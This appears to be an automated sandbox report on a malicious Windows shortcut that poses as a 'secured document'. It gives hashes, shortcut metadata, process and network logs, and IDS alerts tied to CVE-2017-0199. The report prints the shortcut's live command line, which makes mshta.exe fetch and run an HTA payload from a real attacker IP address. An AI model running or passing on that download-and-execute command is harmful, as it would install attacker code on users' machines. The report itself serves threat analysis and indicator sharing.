File name:

_5830c290b366e970c5ea25db9727a8b5df8d3cc62aa7e7756e9eb688d43d78e6.lnk

Full analysis: https://app.any.run/tasks/48cee3f8-c657-4f63-9dbf-8c3a009aeb15
Verdict: Malicious activity
Analysis date: February 14, 2026, 16:24:03
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-lnk
cve-2017-0199
exploit
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=70, Unicoded, HasExpIcon "%SystemRoot%\System32\SHELL32.dll", MachineID desktop-pmqujnk KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Wed Nov 5 19:45:52 2025, atime=Fri Feb 13 22:18:29 2026, mtime=Wed Nov 5 19:45:52 2025, length=43520, window=normal, IDListSize 0x013b, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\mshta.exe"
MD5:

5080E029C34D68E3C0F94F7A266B1621

SHA1:

06B68017D187E6769CA19BD9540086ABF0EC3FE1

SHA256:

5830C290B366E970C5EA25DB9727A8B5DF8D3CC62AA7E7756E9EB688D43D78E6

SSDEEP:

24:8NuvZsxVn6Hwj1rcmx8AKMN54+/eW+/fPO+/lz4I0FEQ3kmc:81jj1dd/5HOmlIbQt

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  • MALICIOUS

    • Suspicious script execution (LNK)

      • mshta.exe (PID: 4136)
  • SUSPICIOUS

    No suspicious indicators.
  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 4136)
      • slui.exe (PID: 8252)
    • Reads Internet Explorer settings

      • mshta.exe (PID: 4136)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, Description, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: Archive
CreateDate: 2025:11:05 19:45:52+00:00
AccessDate: 2026:02:13 22:18:29+00:00
ModifyDate: 2025:11:05 19:45:52+00:00
TargetFileSize: 43520
IconIndex: 70
RunWindow: Normal
HotKey: (none)
TargetFileDOSName: mshta.exe
DriveType: Fixed Disk
DriveSerialNumber: 7C83-E6CD
VolumeLabel: -
LocalBasePath: C:\Windows\System32\mshta.exe
Description: Shortcut pointing to a secured document
RelativePath: ..\..\..\..\Windows\System32\mshta.exe
WorkingDirectory: C:\Windows\System32\
CommandLineArguments: http://159.255.38.19/.tzfuckua/tz.hta
IconFileName: C:\Windows\System32\SHELL32.dll
MachineID: desktop-pmqujnk
No data.
screenshotscreenshot
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Total processes
141
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

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start mshta.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
4136"C:\Windows\System32\mshta.exe" http://159.255.38.19/.tzfuckua/tz.htaC:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
8252C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
4 021
Read events
4 018
Write events
3
Delete events
0

Modification events

(PID) Process:(4136) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4136) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4136) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
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HTTP(S) requests
26
TCP/UDP connections
37
DNS requests
11
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4948
svchost.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
825 b
whitelisted
7228
RUXIMICS.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
825 b
whitelisted
4136
mshta.exe
GET
404
159.255.38.19:80
http://159.255.38.19/.tzfuckua/tz.hta
GB
html
275 b
malicious
GET
200
2.16.204.156:443
https://th.bing.com/th?id=OVP.qpQi42DwrDKZD6pmS2sIOgHgFo&w=180&h=102&c=1&rs=1&p=0
unknown
text
7.04 Kb
unknown
GET
200
2.16.204.156:443
https://th.bing.com/th?id=ODSWG.3e9abe85-3ae5-4783-92df-366644aa6167&w=420&h=236&c=13&rs=1&p=0
unknown
binary
20.0 Kb
unknown
GET
200
2.16.204.156:443
https://th.bing.com/th?id=OSK.d9d02de7c418534587e5be687df727a5&w=140&h=96&c=1&rs=1&p=0
unknown
binary
5.15 Kb
unknown
GET
200
2.16.204.145:443
https://th.bing.com/th?id=OVP.wxchE9EsQixJDCn6v-y23QHgFo&w=188&h=110&c=1&rs=1&p=0
unknown
binary
7.24 Kb
unknown
GET
200
2.16.204.155:443
https://th.bing.com/th?id=OVP.qpQi42DwrDKZD6pmS2sIOgHgFo&w=188&h=110&c=1&rs=1&p=0
unknown
text
7.55 Kb
unknown
GET
200
2.16.204.141:443
https://th.bing.com/th?id=OVP.SRF1LOxQm2ly7M_1U7tFTAHgFo&w=188&h=110&c=1&rs=1&p=0
unknown
binary
6.98 Kb
unknown
5568
SearchApp.exe
GET
200
2.16.204.153:443
https://th.bing.com/th?id=ODSWG.3e9abe85-3ae5-4783-92df-366644aa6167&w=420&h=236&c=13&rs=1&p=0
NL
binary
20.0 Kb
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4948
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:137
Not routed
whitelisted
7228
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6768
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
2.16.204.138:443
www.bing.com
AKAMAI-ASN1
NL
whitelisted
2.16.204.157:443
www.bing.com
AKAMAI-ASN1
NL
whitelisted
4
System
192.168.100.255:138
Not routed
whitelisted
6768
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted
4948
svchost.exe
2.16.164.120:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted
7228
RUXIMICS.exe
2.16.164.120:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
self.events.data.microsoft.com
  • 52.168.112.67
  • 104.208.16.95
whitelisted
www.bing.com
  • 2.16.204.138
  • 2.16.204.155
  • 2.16.204.135
  • 2.16.204.153
  • 2.16.204.157
  • 2.16.204.156
  • 2.16.204.148
  • 2.16.204.158
  • 2.16.204.150
whitelisted
th.bing.com
  • 2.16.204.157
  • 2.16.204.153
  • 2.16.204.148
  • 2.16.204.155
  • 2.16.204.142
  • 2.16.204.156
  • 2.16.204.158
  • 2.16.204.150
  • 2.16.204.145
whitelisted
google.com
  • 142.250.201.78
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.9
  • 2.16.164.49
whitelisted
activation-v2.sls.microsoft.com
  • 48.192.1.64
whitelisted
www.microsoft.com
  • 23.59.18.102
whitelisted

Threats

PID
Process
Class
Message
4136
mshta.exe
Potentially Bad Traffic
ET INFO Possible HTA Application Download
4136
mshta.exe
Misc activity
ET INFO Observed UA-CPU Header
4136
mshta.exe
Attempted User Privilege Gain
ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
No debug info